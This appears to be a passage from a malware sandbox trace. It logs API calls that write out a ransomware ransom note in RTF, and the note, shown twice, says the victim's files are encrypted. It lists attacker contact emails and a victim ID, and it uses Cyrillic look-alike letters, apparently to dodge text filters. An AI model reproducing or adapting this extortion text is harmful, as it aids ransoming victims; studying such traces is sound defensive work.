-m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur 